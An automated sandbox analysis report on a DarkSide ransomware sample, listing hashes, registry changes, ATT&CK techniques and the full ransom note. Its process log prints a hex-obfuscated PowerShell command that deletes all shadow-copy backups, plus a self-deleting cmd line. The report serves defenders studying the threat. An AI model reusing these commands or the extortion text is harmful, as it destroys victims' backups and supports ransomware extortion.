darkside | 0f808fd3ecf9d722aafeee46b57aad4d07f39c98be6f6148be979ed470cf0a99

Resubmissions

27-01-2024 19:37

240127-yb5pksafd3 10

27-01-2024 19:36

240127-ybqwesafc2 10

12-05-2021 15:56

210512-db4t7vmwas 10

Analysis

max time kernel
119s
max time network
123s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
27-01-2024 19:37

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Report Analysis Logs

General

Target

151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe
Size

59KB
MD5

9d418ecc0f3bf45029263b0944236884
SHA1

eeb28144f39b275ee1ec008859e80f215710dc57
SHA256

151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5
SHA512

82ced42a32f18ede4358459e08bed1adff85d49c952aca7a086571c5b71fd8b3185ea4306abd1f4e639a12f11161f43c73bf6049d76902d365c5a5e4c7e71f3d
SSDEEP

768:vjjmbIax7F3DS4/S9+CuUSbVAdNcxGV1ylvD7Y23W58:0x7Fu4/ihrhDTV1ylbcZ58

Score

10^/10

darkside ransomware spyware stealer

Malware Config

Extracted

Path

C:\Users\Admin\README.21af4d10.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/CZEX8E0GR0AO4ASUCJE1K824OKJA1G24B8B3G0P84LJTTE7W8EC86JBE7NBXLMRT When you open our website, put the following data in the input form: Key: 0kZdK3HQhsAkUtvRl41QkOdpJvzcWnCrBjjgg5U4zfuWeTnZR5Ssjd3QLHpmbjxjo7uWzKbt8qPVuYN38TsDPI3bemd5I40ksemIzuI5OhIHZsi9cn3Wpd7OUT72FP9MyAUzR586yMsI2Ygri9in0Bf4EkG0pmBOLyRG1T788foGJQW1WxS1Qd2sMVvX0jKlbGG1zLp7g0u6buDCzSMyTjWjuVzJYufBBv7S2XvciEVvboiTNbZA4UUU6PttKERQSb018aILd6xO3ulk6fbEgZDO5tZSGn2zRevn5YXnHtg6vt1ToLe3izQOgYbs8Ja1fkfJBUYVux1ITyWBjpn0xPayKfwln8SqgMkbqiDyxEDEtFhqiffLcONMhi4TmW50loZIC6mWSaOjThWp6XSJUWPtY8Mkzs8Cs0qjPahx58iAEVIRGUVpLkMs7xPN7ydZ6wMWaOcRC1AD1JEUVTjLikXXyckgYaS6FnEv0UNEsv6QbTLSpDomIg3rEYZBib6ozrwH5n0M5wrKo8NciUBmfJWDP4XKkjznpsa05rEpuAklM0dMmZsYGVR !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidfqzcuhtk2.onion/CZEX8E0GR0AO4ASUCJE1K824OKJA1G24B8B3G0P84LJTTE7W8EC86JBE7NBXLMRT

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside
Renames multiple (155) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Deletes itself 1 IoCs

Processes:

cmd.exe

pid process

1644 cmd.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

pid	process
1644	cmd.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\21af4d10.BMP"	151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\21af4d10.BMP"	151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Control Panel 1 IoCs

evasion

Processes:

151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3470981204-343661084-3367201002-1000\Control Panel\Desktop\WallpaperStyle = "10"	151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe

Modifies registry class 5 IoCs

Processes:

151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\21af4d10	151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\21af4d10\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\21af4d10.ico"	151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.21af4d10	151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.21af4d10\ = "21af4d10"	151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\21af4d10\DefaultIcon	151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe

pid	process
2620	powershell.exe
2536	151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe
2536	151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

Processes:

151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exepowershell.exevssvc.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	2536	151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe
Token: SeSecurityPrivilege	2536	151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe
Token: SeTakeOwnershipPrivilege	2536	151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe
Token: SeLoadDriverPrivilege	2536	151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe
Token: SeSystemProfilePrivilege	2536	151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe
Token: SeSystemtimePrivilege	2536	151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe
Token: SeProfSingleProcessPrivilege	2536	151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe
Token: SeIncBasePriorityPrivilege	2536	151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe
Token: SeCreatePagefilePrivilege	2536	151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe
Token: SeBackupPrivilege	2536	151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe
Token: SeRestorePrivilege	2536	151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe
Token: SeShutdownPrivilege	2536	151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe
Token: SeDebugPrivilege	2536	151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe
Token: SeSystemEnvironmentPrivilege	2536	151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe
Token: SeRemoteShutdownPrivilege	2536	151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe
Token: SeUndockPrivilege	2536	151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe
Token: SeManageVolumePrivilege	2536	151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe
Token: 33	2536	151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe
Token: 34	2536	151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe
Token: 35	2536	151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe
Token: SeDebugPrivilege	2620	powershell.exe
Token: SeBackupPrivilege	3036	vssvc.exe
Token: SeRestorePrivilege	3036	vssvc.exe
Token: SeAuditPrivilege	3036	vssvc.exe

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe

description	pid	process	target process
PID 2536 wrote to memory of 2620	2536	151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe	powershell.exe
PID 2536 wrote to memory of 2620	2536	151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe	powershell.exe
PID 2536 wrote to memory of 2620	2536	151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe	powershell.exe
PID 2536 wrote to memory of 2620	2536	151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe	powershell.exe
PID 2536 wrote to memory of 1644	2536	151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe	cmd.exe
PID 2536 wrote to memory of 1644	2536	151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe	cmd.exe
PID 2536 wrote to memory of 1644	2536	151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe	cmd.exe
PID 2536 wrote to memory of 1644	2536	151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe	cmd.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe
"C:\Users\Admin\AppData\Local\Temp\151fbd6c299e734f7853497bd083abfa29f8c186a9db31dbe330ace2d35660d5.exe"
1⤵
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2536

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2620

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C DEL /F /Q C:\Users\Admin\AppData\Local\Temp\151FBD~1.EXE >> NUL
2⤵
- Deletes itself
PID:1644

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3036

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

Defacement

T1491

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
Filesize
64KB

MD5
d71dff97ca86ca16c3db8bdb5285fb35

SHA1
271c01246897497d069b81ed37af296cf6c1e498

SHA256
4a19255504acfbd49c4e1aed722c7e62b50b5742b860eedabc5f46160f8aefac

SHA512
1fed2a183296b563e35d803927e539d28169895f6ca5b522a1c714f222a2d3e578b1e167b19568b5ad4800b898f7ac041c7bd8f6bb02d1361b32cbdcfb0f682a

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar602F.tmp
Filesize
100KB

MD5
a00422c3302654f44e37af023fbd071d

SHA1
36c174d467f5a24056537fe22e01bed9d83ddb64

SHA256
ba8f89742d26fdd5102573ffcf2a2bf0f3356c65e8d4dc4db310bda2a120d99a

SHA512
913963ab74148f5b7272ae29c1d6f0d4224f5907a62102e72dd528dcacaf11fbcb70714385833edeeb6371f68d4a32798943bf33877493234da312c4a4c0cead

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize
7KB

MD5
33a70378655e5dbec2e01c5abf4ae603

SHA1
dedc9479d24785eebaef0acb9acf78e93e567ed6

SHA256
d3357c5e342bbf7adcc35ca7e88768e6e231fb7f866dc190e2a21334082ad42f

SHA512
dfd3180eee97dbb40925a8205dffdb75e3d22bd33af8e78dfb1a08ec8882db8b297a985383b207810450fcaa74f0cf2c6210f77d4695e236c8d6d6e30ce5ebce

Download Submit
C:\Users\Admin\README.21af4d10.TXT
Filesize
1KB

MD5
65494ea6831e577d82fac2b91b9c3d43

SHA1
5c23717d22ee9b94306f2d5a2a53c60aca03eb8c

SHA256
5e98b41a51606e16dda30ad4a49457227f75d71ad2004e2942c6b8de6202c4f3

SHA512
28ba13f7793ac8271af03b26eaeba6cbe707bf1f07fb1792818a6ab270d1c20d0091ef4a10c092f60c373aefe09698d2b470ec6a7f8cfa47103fd8bbb8d7a7bb

Download Submit
memory/2620-23-0x0000000002D10000-0x0000000002D90000-memory.dmp

Filesize
512KB

Download
memory/2620-22-0x0000000002D10000-0x0000000002D90000-memory.dmp

Filesize
512KB

Download
memory/2620-21-0x000007FEF4EB0000-0x000007FEF584D000-memory.dmp

Filesize
9.6MB

Download
memory/2620-17-0x000000001B770000-0x000000001BA52000-memory.dmp

Filesize
2.9MB

Download
memory/2620-25-0x000007FEF4EB0000-0x000007FEF584D000-memory.dmp

Filesize
9.6MB

Download
memory/2620-24-0x0000000002D10000-0x0000000002D90000-memory.dmp

Filesize
512KB

Download
memory/2620-18-0x0000000001D90000-0x0000000001D98000-memory.dmp

Filesize
32KB

Download
memory/2620-20-0x0000000002D10000-0x0000000002D90000-memory.dmp

Filesize
512KB

Download
memory/2620-19-0x000007FEF4EB0000-0x000007FEF584D000-memory.dmp

Filesize
9.6MB

Download